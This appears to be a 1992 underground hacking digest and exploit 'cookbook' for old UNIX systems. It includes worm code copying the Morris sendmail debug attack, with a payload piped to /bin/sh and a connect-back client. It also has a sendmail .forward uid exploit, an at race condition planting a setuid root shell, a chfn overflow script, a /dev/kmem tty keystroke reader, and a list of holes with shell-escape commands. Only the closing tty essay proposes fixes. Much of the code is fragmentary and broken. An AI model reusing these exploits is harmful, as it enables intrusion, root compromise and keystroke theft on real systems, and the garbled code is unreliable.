smwiz.trk                        cookbook.06.02                      02/23/92
WIZ mode is even more interesting.  You just telent to the host of
your choice, type `wiz' followed by `SHELL' and presto, a root
shell on that host.  This only works on old UNIX systems, but there
are certainly a few of those lying around.

smdebug.c                      cookbook.06.03                      02/23/92
Here are a client and server process that use the same method that
Robert T. Morris Jr. used in his Internet worm.  It exploits debug
mode in sendmail.

     #include <stdio.h>
     #include <sys/types.h>
     #include <sys/socket.h>
     #include <netinet/in.h>
     #include <netdb.h>

      *  Worm Client

     main(argc, argv)
     int        argc;
     char       *argv[];
        struct sockaddr_in      sin;
        int     s;
        char    **str, c;

        if (fork() > 0)
        bzero(&sin, sizeof(sin));
        sin.sin_family = AF_INET;
        sin.sin_addr.s_addr = inet_addr(worm_server_addr);
        sin.sin_port = htons(3456);

        s = socket(AF_INET, SOCK_STREAM, 0);
        if (connect(s, &sin, sizeof(sin)) < 0) {
                perror("no connection");

        dup(s, 0);
        dup(s, 1);
        dup(s, 2);

        printf("Hello, I am worm client!\n");

     #include <stdio.h>
     #include <sys/types.h>
     #include <sys/socket.h>
     #include <netinet/in.h>
     #include <netdb.h>

     char       *worm_head[] = {
     "mail from: </dev/null>",
     "rcpt to: <\"|sed -e '1,/^$/'d | /bin/sh ; exit 0\">",
     "cd /usr/tmp",
     "rm -rf sendmail.c sendmail.o sendmail",
     "cat > sendmail.c << 'EOF'",

     char       *worm_tail[] = {
     "cc -o sendmail sendmail.c; rm -rf sendmail.c ; ./sendmail ;rm -rf sendmail",

     main(argc, argv)
     int        argc;
     char       *argv[];
        struct sockaddr_in      sin;
        int     s;
        char    **str, c;
        int     from_worm_client;

        if (argc != 2) {
                fprintf(stderr, "%s conanical-IP-address\n", argv[0]);

        from_worm_client = worm_server_set();

        bzero(&sin, sizeof(sin));
        sin.sin_family = AF_INET;
        sin.sin_addr.s_addr = inet_addr(argv[1]);
        sin.sin_port = htons(25);

        s = socket(AF_INET, SOCK_STREAM, 0);
        if (connect(s, &sin, sizeof(sin)) < 0) {
                perror("no connection");

        dup(s, 1);

        str = worm_head;
        while (*str)
                printf("%s\r\n", *str++);



        str = worm_tail;
        while (*str)
                printf("%s\r\n", *str++);



        struct hostent  *hp;
        char    hostname[BUFSIZ];

        gethostname(hostname, BUFSIZ);
        hp = gethostbyname(hostname);
        printf("char *worm_server_addr = \"");

        while (hp->h_length) {
                printf("%d", (int) (*hp->h_addr++));
                if (hp->h_length)


        FILE    *worm_client;
        char    *c, buf[BUFSIZ];

        worm_client = fopen(WORM_CLIENT_SRC, "r");

        if (worm_client == NULL) {
                perror("no worm client src");

        while (fgets(buf, BUFSIZ, worm_client) != NULL) {
                c = buf;
                while (*c && *c != '\n')
                        printf("%c", *c++);(*c++);


        struct sockaddr_in      sin;
        int     s;
        char    **str, c;

        bzero(&sin, sizeof(sin));
        sin.sin_family = AF_INET;
        sin.sin_addr.s_addr = INADDR_ANY;
        sin.sin_port = htons(3456);

        s = socket(AF_INET, SOCK_STREAM, 0);
        if (bind(s, &sin, sizeof(sin)) < 0) {
                perror("no bind");

        if (listen(s, 5) == -1) {
                perror("no listen");

        return s;

     int        s;
        char    buf[BUFSIZ];
        int     f, fromlen;
        struct sockaddr_in      from;
        int     pid;

        fromlen = sizeof(from);
        f = accept(s, &from, &fromlen);

        if (f < 0) {
                perror("no accept");

        dup(f, 1);

        pid = fork();

        if (pid == 0)
                for (;;) {
                        if ((fromlen = read(f, buf, BUFSIZ)) <= 0)
                        write(2, buf, fromlen);
        else {
                for (;;) {
                        fprintf(stderr, "ready: ");
                        if (fgets(buf, BUFSIZ, stdin) == NULL) {
                                kill(pid, 9);
                        } else {



sploit.c                          cookbook.06.04                     02/23/92
local comprimise
Save the following program as "sploit.c" changing MYUID to your user id.
Compile "sploit.c" producing the executable "sploit" in your home
directory.  Create a ".forward" file containing:
     \<user>, "|<path>/sploit"
[change <user> to your username so you dont lose mail (unless, of
course, you'd rather lose mail) and set <path> to your home directory
path (where sploit lives)] Now, as another user, send yourself some
mail.  Note that the sploit program defers delivery the first time thru;
check out "/tmp/whoami" to see that sploit ran as you.  Now, run your
mail queue (or open a beer and wait for sendmail to run it). After the
queue run, note that the sploit accepted the letter and returned a
successful exit status; check out "/tmp/whoami" again to see that this
time, sploit ran as the sender! You can also use "sploit.c" to test for
the root initgroups() hole by checking the group list when "sploit" was
first called.

     #include <sys/param.h>
     #include <sys/types.h>
     #include <stdio.h>
     #include <sysexits.h>
     #include <pwd.h>
     #include <grp.h>

     #define MYUID 777 /* your uid (i.e. your ".forward" invokes this) */

     #definegetuser(uid)getpwuid(uid)->pw_name/* assume valid uid */
     #definegetgrp(gid)getgrgid(gid)->gr_name/* assume valid gid */

     FILE *fp;
     uid_t myuid;
     int i, rval, ngrps, grplst[NGROUPS];

     if ((myuid = getuid()) == MYUID)
     rval = EX_TEMPFAIL;
     rval = EX_OK;

     if ((fp = fopen("/tmp/whoami", "a")) != NULL) {

     /* real user/group ids */
     fprintf(fp, "%susr:%s grp:%s",
     (rval == EX_OK)? "": "Def> ",
     getuser(myuid), getgrp(getgid()));

     /* effective user/group ids */
     fprintf(fp, " eusr:%s egrp:%s",
     getuser(geteuid()), getgrp(getegid()));

     /* group list */
     if ((ngrps = getgroups(NGROUPS, grplst)) > 0) {
     fprintf(fp, " grps:");
     for (i = 0; i < ngrps; i++)
     fprintf(fp, " %s", getgrp(grplst[i]));
     fprintf(fp, "\n");

     (void) fclose(fp);


at_race.c                     cookbook.12.00                        02/23/92
AT race condition
This will fight `at' for gaining root status.  It uses a system
race condition so it is in a reliable way to break into a system, but it
will certainly work in time.



     charAtdir[] = "/usr/spool/at";

     charAtformat[] = "\
     # owner: root\n\
     # jobname: chkfpd\n\
     # shell: sh\n\
     # notify by mail: no\n\
     exec 2>&-\n\
     /bin/echo '#! /bin/sh' > /tmp/-\n\
     /bin/chmod 6711 /tmp/-\n\
     exit 0\n\

     char*env[] = {


     charatfile[ATSIZE], buf[5];
     structtm*tp, *getnowtime();
     voidmakeatfile(), maketime();

     maketime(tp = getnowtime());
     (void) sprintf(buf, "%02d%02d", tp->tm_hour, tp->tm_min);

     switch (pid = vfork()) {
     case -1:
     case 0:
     (void) nice(19);
     (void) umask(0);
     (void) execle("/usr/bin/at", "at", "-s", buf,
     "/dev/null", (char *) 0, env);

     makeatfile(atfile, tp);

     while ((fd = open(atfile, 1)) < 0)

     printf("OK: ");
     (void) fflush(stdout);

     (void) wait((union wait *) 0);

     fp = fdopen(fd, "w");
     fprintf(fp, Atformat);
     (void) fclose(fp);

     printf("%s\n", buf);/* the time of the atrun */

      * the following routines were stolen and adapted from at.c


     if (gettimeofday(&time, (struct timezone *) 0) < 0) {
     return localtime(&time.tv_sec);


     if ((min = tp->tm_min) < 29)/* at least 1 minute gap */
     tp->tm_min = min < 14 ? 15 : 30;
     if (min < 44)
     tp->tm_min = 45;
     else {
     tp->tm_min = 0;
     if (++tp->tm_hour >= 24) {
     tp->tm_hour = 0;
     if (++tp->tm_yday >= (tp->tm_year & 03 ? 365 : 366)) {
     tp->tm_yday = 0;
     ++tp->tm_year;/* no check */

     voidmakeatfile(atfile, tp)

     for (i = 0; ; i += 53) {
     (void) sprintf(atfile, "%s/%02d.%03d.%02d%02d.%02d", Atdir,
     tp->tm_year, tp->tm_yday, tp->tm_hour, tp->tm_min,
     (pid + i) % 100);

      * Make sure that the file name that we've created is unique.

     if (access(atfile, 0) == -1)
 SVR.0 to SVR3.2

Several at(1)s have an extremely nasty bug.  Cron(1) which run atjobs runs
setuid to root.  Normally the atjobs are stored in /usr/spool/cron/atjobs.
There it creates a file owned by the atjob submitter.  On many systems
/usr/spool/cron/atjobs is mode drwxr-xr-x and allows a normal user to
chdir(2) to that directory.  Many System V crons determine what uid to run
the atjob by the file's owner.  Breaking security can be as simple as cding
to cron and change the owner of an atjob you submitted to root.
Alternatively, an atjob that submits another atjob on some systems
will run as root (I don't know why).


==============================================================================                        cookbook.12.00                   02/23/92
The change finger information facility has a buffer overflow condition
that can be exploited in the following manner.  First is a `csh'
script to insure that backups are made and everything is run in order.
The second script is edited due to the number of characters required to
overflow the buffer.

Script One
     #!/bin/csh -f
     echo ""
     echo "grep for gretzky in /etc/passwd"
     grep gretzky /etc/passwd
     echo ""
     echo "Making a copy of the password file ..."
     cp /etc/passwd etc.passwd
     echo "Running the chfn in a script (sh) ..."
     sh chfn.test
     echo ""
     echo "... finished"
     echo ""
     echo "grep for gretzky in /etc/passwd again"
     grep gretzky /etc/passwd
     echo ""
     echo "NOW grep for aaa in /etc/passwd"
     grep aaa /etc/passwd
     echo ""
     echo "   Gotcha! "
     echo ""
     echo ""

The second script

     # The number of letters (a, b, ...) depends on how many fields
     # chfn(1) asks for.  Ultrix 2.x is 4, as is BSD4.x while SunOS 3.5 is 1.
     /bin/chfn <<eof
     [ 1023 a's ]
     [ 1023 b's ]
     [ 1023 0's ]
     /bin/chfn <<eof
     [ 1023 a's ]
     [ 1023 b's ]
     [ 1023 0's ]

     /bin/chfn <<eof

vmunix.c                         cookbook.13.00                    02/23/92
On many systems, the kernel is world readable as is the file/device
`/dev/mem'.  Code to read the kernel is quite easy to write, here
is an example that will work on a Vax 11/780 and a Sun 3/180.

     #include <stdio.h>
     #include <sys/ttyio.h>
     #include <sys/param.h>
     #include <sys/clist.h>
     #include <sys/tty.h>
     #include <nlist.h>
     #include <ctype.h>

     #define    NDZ     1       /* DZ's and DH's have to be mapped into */
     #define    NDH     2       /* your own hardware                    */
     #define NPT        2       /* number of pty controllers            */
     #define    DZ11    1       /* major device number of the dz11      */
     #define    DH11    33      /* major device number of the dh11      */
     #define PTY        20      /* major device number of the ptys      */
     #define    DZ_X    8       /* eight lines per dz11                 */
     #define    DH_X    16      /* sixteen lines per dh11               */
     #define PT_X       16      /* sixteen lines per pty controller     */
     #undef     major()         /* need to do this because of kernel    */
     #undef     minor()         /* macros used to strip off device #'s  */

     static struct nlist nl[2];

     static char *name_list[] = {
        "_dz_tty",              /* base address of the dz tty structures*/
        "_dhu11" ,              /* same for the dh's                    */
        "_pt_tty",              /* pseudo-ttys                          */

     main(argc , argv)
     char **argv;
     int  argc;
        int major;                      /* place to hold major #        */
        int minor;                      /* place to hold minor #        */
        int board_type;                 /* tells me which kind of tty   */
        int fd;                         /* fd for memory                */
        long offset;                    /* how far into the above tables*/
        struct tty ttyb;                /* place to put the tty buffer  */
        extern char *calloc();          /* our friend calloc            */

        get_args(&major , &minor , argc , argv);
        check_args(major , minor , &board_type , argv);
        get_name_list(board_type , argv);
        open_memory(&fd , argv);
            char *p;    /* blank out argument list */

            for (p = argv[1]; *p != '\0'; p++) *p = '\0';
            for (p = argv[2]; *p != '\0'; p++) *p = '\0';
        offset = minor * sizeof(struct tty);
        while (1) {
                read_tty(fd , nl[0].n_value , offset , &ttyb);
                get_clist(fd , &ttyb.t_nu.t_t.T_rawq);

     ***        Much monkeying around was done before I settled on this
     ***        procedure. I attempted to follow the c_next pointers in
     ***        the individual cblocks. This is friutless since by  the
     ***        time we do the second seek and read the information has
     ***        been whisked away.
     ***        So - The LIMITATIONS of this routine are:
     ***                cannot read from any tty in RAW mode
     ***                can only snarf first 28 characters (ie
     ***                        the first cblock)
     ***        Nice things about this routine:
     ***                only NEW  characters  are  echoed to the output
     ***                (eg characters  in the cblock which  have  been
     ***                seen before are swallowed).

     get_clist(fd , cl)
     register struct clist *cl;
        static char c[CBSIZE];
        static char *old_start = 0 , *old_finish = 0;
        static int  old_i = 0;
        char *pntr;
        int tn , in;

        if ((cl->c_cc > 0) &&
            ((old_start != cl->c_cf) || (old_finish != cl->c_cl))) {
                pntr = c;
                lseek(fd , (long) cl->c_cf , 0);
                read(fd , c ,(tn=in=cl->c_cc > CBSIZE ? CBSIZE : cl->c_cc));
                if (old_start == cl->c_cf) {
                        in -= old_i;
                        pntr += old_i;
                if (in > 0) while (in--) putchar(*(pntr++));
                else if (in < 0) while (in++) putchar('\010');
                old_i = tn;
                old_start = cl->c_cf;
                old_finish = cl->c_cl;
        if (cl->c_cc <= 0) {
                if (old_i != 0) putchar('\n');
                old_i = (int) NULL;
                old_start = old_finish = NULL;

     read_tty(fd , base , offset , buffer)
     long base , offset;
     register struct tty *buffer;
        register int i;

        lseek(fd , base + offset , 0);
        i = read(fd , buffer , sizeof(struct tty));
        if (i != sizeof(struct tty)) {
                printf("unexpected return from read\n");
                printf("should have been %d\n" , sizeof(struct tty));
                printf("was %d\n" , i);

     open_memory(fd , argv)
     int *fd;
     char **argv;
        if ((*fd = open("/dev/kmem" , 0)) < 0) {

     int index;
     char **argv;
        nl[0].n_name = name_list[index];
        nlist("/vmunix" , nl);
        if (! nl[0].n_type) {
                printf("%s: couldn't get name list\n" , argv[0]);
        printf("%s starts at %08x\n" , nl[0].n_name , nl[0].n_value);

     get_args(major , minor , argc , argv)
     int *major , *minor , argc;
     char **argv;
        if (argc != 3) {
                fprintf(stderr,"usage: %s major_dev minor_dev \n" , argv[0]);
        *major = atoi(argv[1]);
        *minor = atoi(argv[2]);
        printf("Major Device: %d -- Minor Device: %d\n" , *major , *minor);

     check_args(major , minor , board , argv)
     char **argv;
     int *board;
        if (minor < 0) {
     bad_minor: printf("%s: bad minor device number\n" , argv[0]);
        switch (major) {

        case DZ11:
                        if (minor >= NDZ * DZ_X) goto bad_minor;
                        printf("DZ11 - Unit %d\n" , minor / DZ_X);
                        *board = 0;

        case DH11:
                        if (minor >= NDH * DH_X) goto bad_minor;
                        printf("DH11 - Unit %d\n" , minor / DH_X);
                        *board = 1;

        case PTY:
                        if (minor >= NPT * PT_X) goto bad_minor;
                        printf("PTY - Unit %d\n" , minor / PT_X);
                        *board = 2;

                        printf("%s: bad major device number\n" , argv[0]);

                      BoreD Security Digest Issue 4

                          Toooo sexy for CORE
                     You're NOT dealing with AT&T!!!

The unix BoreD security mailing list is by invitation only and contains
sensitive material which SHOULD NOT BE REVEALED to non-members.
If you must keep copies on-line, please encrypt them at the very least.

PLEASE POST TO:                   

                          SPECIAL TTY/PTY ISSUE

        But, seriously.  First things first.  This newsletter does not
condone any action that is illegal (much less immoral).  What you do in
your spare time is your business and not ours.  Some of the material
presented here mabye unsuitable for readers under the influence of SS
control.  However, this newsletter is too legit.
        Next, the editorship has been changed to a compile-revision-revision-
release type format with one person doing each part (therefore in effect having
four editors).  This is not a sole -I am gh0d and you are n0t- type digest.
The editorship is being shared.
        Third, this is the fourth issue.  These issues come out due to
member participation.  So far we are doing great, 4 issues in 4 months. (well,
not as good as the original 1 issue per 2 week target but it isn't bad).
However, due to recent events, material has not flowed as clear as it should
and we need your thoughts/ideas/submissions more than ever.  This is a special
TTY issue and more submissions for the next issue are needed.  We hope to
put out another TTY/PTY issue in the next couple of issues ahead so we need
your tty/pty stuff!

Do not ship these issues to any one of your friends.  Do not keep copies
online.  Do not reveal the name of the project or any of its members.  If
you do know of a potential member name him in here first by contacting one
of us.

-Table of Comments for Issue 4-

 1. Prelude/Comments
 2. Table of Contents
 3. Holes List 2 ....................................(hole2.lst)
 4. TTY Comments ....................................(tty.comments)
 5  TTY Partial Article .............................(tty.article)
 6. blast.c .........................................4.cb.15.00
 7. bugntrig.c ......................................4.cb.15.01
 8. readtty.c .......................................4.cb.15.02
 9. stufftty.c ......................................4.cb.15.03
10. tty-spy1: cover.c ...............................4.cb.15.04
11. tty-spy2: assorted ..............................4.cb.15.05

hole.list.2                      hole.list.01                       02/23/92


1. Do not allow usernames to contain any of the following characters ";~!`"
   (or any shell meta-charaters).  This allows setuid root programs that
   popen to be spoofed.

2. Never allow a setuid to root program to send a mail message that the user
   creates to either the Berkeley mailer or mailx.  All a user has to do
   to break root is to send a line such as:

~!cp /bin/sh /tmp/sh; chmod 2555 /tmp/sh

   That is that Berkeley mail(1) and Berkeley mailx(1) BOTH allow this shell
   escape to be executed if the line starts in column one of stdout while
   entering the message text.

3. Most security holes in UNIX are related to incorrect setting of directory
   and file permissions or race conditions in the kernel that allow setuid
   programs to be exploited.  All non-standard setuid programs should be

4. Many systems can be compromised with NFS/RPC.  A skilled RPC writer can
   break security relatively easily.  MIT's PROJECT ATHENA came up with
   Kerberos to address these problems, networks are usually very insecure.

5. The mount command should not be executeable by ordinary users.  A setuid
   program on a mountable disk is NOT TO BE TRUSTED.

6. Systems that allow read-only mounting of foriegn disk are a security
   hole.  Setuid programs are normally honored.  This allows a person who
   has root access on a foriegn machine to break it on another.

7. Expreserve can be a huge hole (see the following)

            the frame buffer devices on at least suns are world
            readable/writeable, which is at best annoying (when
            someone runs something strange on you) and at worst
            insecure (since someone can take a snapshot of your screen
            via screenload or whatnot)

        /dev/*st*, *mt*, etc (tape devices)
            generally world readable/writeable, bad since others can
            nuke your tapes, read your backups, etc.

        chfn, chsh
            used to create a root account

            will system dump a setgid core image? 

        domain name system      
            a sysadmin running the soa for a domain somewhere can
            create a bugs reverse address mapping table for one of his
            hosts that causes its IP address to have the domain name
            of a machine that my host has in its hosts.equiv file.  if
            i'm using the usual version of 'istrusted' (I think that's
            the routine's name), the address lookup reveals the name
            of the host to be one that my host trusts, and this other
            sysadmin can rlogin into my machine or rsh or whatnot at

            test for bad group test 

            can be used to change major/minor numbers on devices 

            hard .plan links - reading unreadable files readable by

            setuid, .plan links

            running as root

            buffer overrun 

        file mod test.
            test of file does not loose the setuid bit when modified

            static passwd struct overwrite 

            4.2 based bug, userid not reset properly, (after logging
                in enter comment "user root" and you are, last seen
                onder SunOS 3.3?). 

            overwrite stack somehow?

            default + entry

            istrusted routine - easy to spoof by bad SOA at remote
            site with hacked reverse address map.

            4.1bsd version had the password "hasta la vista" as a
            builtin trapdoor. (found in ultrix)

        lost+found, fsck 
            lost+found should be mode 700, else others might see
            private files.

            its possible to ovberwrite files with root authority with
            user level access locally or remotely if you have local
            root access 

            lpr -r access testing problem

            trusts utmp

            fgets use allows long entries which will be mangled into
            ::0:0::: entries

            also allows:
                        fred:...:...:...:Fred ....Flintstone::/bin/sh =>
                    which is a root entry with no password!

            fix - should skip to eol if it didn't read whole entry,
            should enforce buffer limits on text in file, don't use
            atoi (since atoi(/bin/sh) is 0). 

            allows other net entities to make bindings - may not be a
            "security hole", can lead to denial of service. 

            nobody problem 


            running as root, utmp world writeable, writes to files as
            well as devices in utmp dev fields. 

        rdist - buffer overflow 

            allowed remote access to files 

            debug option 

            wizard mode 

            TURN command 
                allows mail to be stolen

            decode mail alias - anyone can send mail to decode, write
            to any file onwed by daemon, if they can connect to
            sendmail daemon, can write to any file owned by any user.

            overflow input buffer 
                cause the sendmail deamon to lock up

            overwrite files 
                sendmail can be "tricked" into delivering mail
                into any file but those own my root.

            -oQ (different Q)
            fixed in newer versions

            mqueue must not be mode 777!

            what uid does |program run with?

            sendmail -bt -C/usr/spool/mail/user - in old versions,
            allows you to see all lines of the file.

        setuid bit handling
            setuid/setgid bit should be dropped if a file is modified

            fix: kernel changes

        setuid scripts
            there are several problems with setuid scripts.  is it
            worth writing tests for these?  some systems might have
            fixed some of the holes - does anyone know how one fixes
            these problems in a proactive fashion?

            IFS hole (used with vi, anything else?) 

            overwrite stack somehow?

            sequence number prediction makes host spoofing easier

            source routing make host spoofing easier

            rip allows one to capture traffic more easily

            various icmp attacks possible

            (I suspect a traceroute'd kernel will allow one to easily
            dump packets onto the ethernet)     

            allows one to grab random files (eg, /etc/passwd).
            fix - should do a chroot

            allows puts as well as gets, no chroot

            fix - don't run as root, use chroot, no puts, only if boot

            check to see if world writeable (if so, the data can't be
            trusted, although some programs are written as though they
            trust the data (comsat, rwalld)). 

            check if valid uucp accounts are in the /etc/ftpusers.  If
            the shell is uucico and passwd is valid make sure it is
            listed in ftpusers. 

            check to see that uucp accounts have shell: if left off,
            folks can do:

                cat >x
                myhost myname
                uucp x ~uucp/.rhosts
                rsh myhost -l uucp sh -i

            HDB nostrangers shell escape 

            HDB changing the owner of set uid/gid files 

            HDB meta escapes on the X command line 

            HDB ; breaks on the X line 

            if it is setuid, some versions will create setuid files

            accepts ypset from anyone (can create own ypserv and data,
            and ypset to it...) 

        ypserv spoofing
            send lots of bogus replies to a request for root's passwd
            entry, while doing something that would generate such a
            request [I'm pretty sure that this is possible, but
            haven't tried it.]

            * password means use root's password?

        AIX 2.2.1 
            shadow password file (/etc/security/passwd) world

            fix - chmod 600...

        386i login
            fix - nuke logintool, hack on login with adb, chmod 2750

        ultrix 3.0 login
            login -P progname allows one to run random programs as root.  
            fix - chmod 2750.

            if access access control is disabled any one can connect to
            a X display it is possible and create (forge) and/or
            intercept keystrokes.  


In the Crunch Act of 1992 the Supreme Court ruled that phones are against the
law.  Use a phone.  Go to jail.  That's the law.

tty.comments                                04/04/92

BSD tty security, part 1: The Berkeley Experience

Three weeks ago Keith Bostic gave me an account on,
running one of the latest revisions of BSD 4.3-Reno, so that I could
test the system for tty bugs. (What a remarkable coincidence. :-) )
I have bad news, good news, and a quick summary of what Berkeley is
planning to do about tty security.

The bad news: The system allows any user to take over a session started
by script. Presumably this also applies to xterm, emacs, expect, et al.
``Take over'' means invisible writing, tty mode mangling, and TIOCSTI.
Modulo some races, it lets any user output any number of characters at
the beginning of another user's telnetd connection, and may allow more
access (I haven't tested this thoroughly). Furthermore, it lets any user
log any other user out, given preparation. There are several minor holes
which should not be serious problems and which I won't describe here.

The good news: BSD now has a revoke(filename) syscall which achieves
similar effects to the enforce() that has been proposed here before;
telnetd uses revoke() in a way that I believe guarantees the security of
the tty. This does not stop I/O before the revoke(), but Marc Teitelbaum
says (and I agree) that proper flushing and a bit more paranoia will
completely shield login sessions from attack. Unfortunately, revoke() is
not usable by unprivileged programs like script, so for most purposes
ptys are as insecure as they were in BSD 4.2.

Last-minute good news: Marc has found the bug that allowed the logout
problem. He will fix it.

What BSD plans to do in the future about tty security: Apparently 4.4
will have ``bstreams'', roughly equivalent to the other stream systems
in the world. ptys will be re-implemented as bstreams, so they will
(finally!) be dynamically allocatable. Hopefully everyone at Berkeley
will agree that ptys do not belong in the filesystem; the ones who know
this are working to convince those who aren't sure, or so I hear.

Given this radical reorganization, it appears that BSD 4.4 ttys will be
secure. If this is true, I withdraw my previous threat. (But see part 4
for further comments.)

In the meantime (i.e., until someone gets up the courage to implement
bstreams) I have outlined to Marc a reasonably simple plan for making
ttys completely secure without radically changing the kernel or system
applications. I hope he sees that the plan involves at most a couple of
hours of work, so that with luck secure ttys will make it into the next
interim BSD release. As my plan also applies to BSD 4.2 and 4.3 and
popular systems derived from them, I have included it here as part 3.

BSD tty security, part 2: The POSIX Perspective

[Warning: By the end of part 1 you may have thought I was in a good
mood. Sorry, but no more Mr. Nice Guy. I will return to sweetness,
charm, and light in part 3.]

One of the security holes mentioned in part 1 (any user being able to
log any other user out) was a deeply buried bug in Berkeley's
implementation of a new POSIX requirement. This is a good example of how
additional security channels (viz., POSIX sessions) make the system much
more fragile. One of the virtues of the original UNIX system was that
all security went through a single channel, namely the uid. Why can't we
stick to this model?

Popular BSD-derived POSIX systems like Ultrix 4.1, SunOS 4.1, and Convex
UNIX 9.0 are completely insecure: any user can take complete control of
any other user's session, with no privileges, no warning, no visible
effect if the attacker is careful, and no logs after the fact.

I asked Marc Teitelbaum how POSIX (particularly POSIX sessions) helped
tty security in the latest BSD 4.3. He pointed to revoke(), but revoke()
only helps security because it is applied at the *beginning* of a
session, and this is not required or even hinted at by POSIX. He
couldn't find another answer. I can still take full control of any
session begun by script or screen or emacs or expect.

As those of you involved with POSIX know, any process can send SIGCONT
to any other process in the same session, dodging all the restrictions
of normal security and job control. Believe it or not, SIGSTOP and
SIGCONT used to be a valuable synchronization technique, even for
privileged applications. Now they're useless. This can only be regarded
as a security hole.

Is it unreasonable to conclude that POSIX sessions do not help security?
That, in fact, they hurt security, by forcing changes upon a quite
fragile piece of the system?

It gets worse. In comp.unix.* we've seen repeated complaints that POSIX
breaks popular applications. No, I'm not even talking about pty. I'm
talking about screen, and expect, and emacs. These programs want to
control children running under a different terminal, but POSIX simply
doesn't acknowledge that people *want* cross-session job control. It
invented ``orphaned process groups''---yet another ``standard'' which
has never shown benefits and which breaks applications left and right.

Is it unreasonable to conclude that POSIX sessions are a problem?

I keep asking people what POSIX sessions do for users, or programmers,
or administrators, or system implementors. Nobody comes up with an
answer. ``They were meant to make job control secure,'' people say. So
why tf are they required even on systems not supporting the job control

After all this I'm not even going to say POSIX sessions should be
abolished. All I want is for them to be made optional, like job control.
It really wouldn't be difficult---just change a couple of definitions
and put the equivalent of #ifdef SESSION around the dozens of additional
rules invented for POSIX sessions. Is this such a price to pay for
backward compatibility, extra security, and the chance to make POSIX
improve over the years as people figure out simpler job control models?
And doesn't it make sense that inventions in a standard should be
optional to begin with?

Let me close these comments with a personal remark: The next time I
report tty security holes to a vendor, if I hear ``We've fixed that,
we support POSIX,'' I'm probably going to do something violent. Maybe
it'll just be a symbolic burning of the latest POSIX 1003.1 in the
middle of Central Park, but I know it's gonna be violent. :-)

BSD tty security, part 3: How to Fix It

Here's one way to fix the BSD 4.[234] tty system, i.e., to provide some
strong guarantees that pty and tty sessions are safe and not subject to
corruption or denial of service, with minimal changes to the kernel and
to application programs. This is also meant to apply to systems derived
from BSD, such as SunOS, Ultrix, etc.

I've included quite a bit of sample code here, as well as evaluations of
what effect these changes will have on users and old programs. Thanks in
particular to Marc Teitelbaum for his extensive comments. The second
half of the article includes a bunch of optional recommendations that
may make your life easier but are not necessary for security.

Quick summary of kernel changes required: Make /dev/tty ioctls work on
/dev/tty??, make a /dev/stdtty driver which simply dup()s fd 3, and add
an ioctl, TIOCOPENCT, which returns the number of active references to a
given inode. That's it.

Quick summary of application changes required: Have certain programs do
an extra open() of the slave side to fd 3, move two device drivers, add
about fifteen lines of code (forty with complete error checks) to those
programs, add a new uid and group, make /dev/[pt]ty* world-inaccessible,
change chmod()s in those programs so that /dev/[pt]ty* remain
world-inaccessible, and make various programs setuid or setgid. That's

1. Make all /dev/tty-specific ioctls work upon /dev/tty??. If the only
such ioctl is TIOCNOTTY, this is not necessary unless you want to
preserve the programmer's interface to detachment (which is probably
necessary). This may take some work. This step is safe, in that it will
not break working code.

2. Set up a /dev/stdtty driver that dup()s fd 3. This is tedious but not
difficult in principle. On systems with /dev/fd/3, all you have to do is
ln /dev/fd/3 /dev/stdtty. This step is safe.

3. Add an ioctl---I propose ioctl(fd,TIOCOPENCT,&x)---which *reliably*
sets x to the number of references to the *file* (not open file: I mean
file on disk, i.e., dev/inode pair, i.e., [igv]node) given by fd, or -1
if fd is not a disk file. Here ``reference'' means open file (i.e., the
thing in the file table). Under NFS I believe it is sufficient to report
v->v_count of the vnode. ``Reliably'' means that no matter what is going
on---swapped processes, locks of all sorts on the inode, file descriptor
passing, opening and closing---the returned information will be
absolutely correct starting from when ioctl() finishes and continuing as
long as no process opens or closes the file in question. This step is

4. Make sure that each of the tty-handling programs---getty, telnetd,
rlogind, script, etc.---opens /dev/ttyxx again in the master process and
leaves it open for use in #9 below. ``Master process'' means the process
in charge of the master side of the pty---telnetd, for instance. This is

int fdttyagain; /* global variable */
/* in the parent right after fork */
fdttyagain = open(line,O_RDWR);
if (fdttyagain == -1)
  syslog(LOG_CRIT,"cannot open %s again: %m",line);
  /* or whatever your favorite error reporting method is */

This step is safe.

5. Make a new uid, pty. Make each of the non-root tty-handling programs
(that means script, as well as programs like atty, mtty, pty, etc. if
you have them installed) setuid pty, and make sure they reset uids
before executing anything. Do not make pty the same as root, unless your
system handles MAXUPRC by effective userid (ugh)---in that case you
can't safely run anything setuid to any user but root, and you should
complain to your vendor. (The latter is true under, e.g. Ultrix 3.1.)
This step is safe, but will take some work if you have many non-root
tty-handling programs.

6. Change the root tty-handling programs (e.g., telnetd) so that they
reset ttys to owner pty mode 600 rather than owner root mode 666. This
step will break any user programs that allocate ttys dynamically and
that you didn't take care of in #5. It is safe otherwise.

7. Have each of the tty-handling programs---getty, telnetd, rlogind,
script, etc.---open file descriptor 3 to the tty. This is trivial:

{ /* after closing other descriptors, right before exec'ing the slave */
 int fdtty;
 fdtty = open(line,O_RDWR); /* line is, e.g., "/dev/ttyp7" */
 if (fdtty == -1)
   ; /* XXX: complain to the user, or exit */
 else if (fdtty != 3)
   if (dup2(fdtty,3) == -1)
     ; /* XXX: complain to the user, or exit */

This step will break any old code that assumes the first open() will
return 3. (Such code is disgusting, but this is beside the point.)

8. ln /dev/tty /dev/oldtty; rm /dev/tty; ln /dev/stdtty /dev/tty;
chmod 600 /dev/oldtty. This is the first change that will affect users
directly. However, if you have done steps 1, 2, and 7 correctly, nobody
will notice. Marc comments that any programs which redirect or close fd
3 will be affected if they later use /dev/tty; he couldn't think offhand
of any such programs except ksh, which isn't installed on most BSD
machines. If you do find further examples of such programs or scripts,
please post the fixes here. An alternative is to use fd 11 instead of
fd 3 throughout these changes; this won't help ksh, but I've never seen
a script use fd 11.

9. In each of the tty-handling programs, do the following upon slave
exit: (a) Clean up everything except (if it is convenient) [uw]tmp.
Close 0, 1, 2, and any other random descriptors lying around, except
/dev/ptyxx and /dev/ttyxx. (b) Test /dev/ttyxx with TIOCOPEN*. If
someone else still has it open, continue to step (c); otherwise skip to
step (d). (c) Fork, and exit in the parent. Repeatedly test /dev/ttyxx
(a five-second sleep is fine) until it is closed. (d) Clean up [uw]tmp
and exit. Note that steps (b) and (c) can fit into a simple library
routine. Here's sample code, with paranoid error checking:

/* after cleaning up mostly everything */
if (fdttyagain != -1)
   /* Assumption: /dev/ttyxx is back to mode 600 owner pty. */
  int count;
  close(0); close(1); close(2);
  ... /* close any other descriptors previously opened */
      /* _except_ /dev/ptyxx (``fdpty'', perhaps) and fdttyagain */
  (void) ioctl(fdttyagain,TIOCEXCL,(char *) 0);
    /* entirely optional, but better safe than racing */
    /* if TIOCOPENCT is not completely reliable */
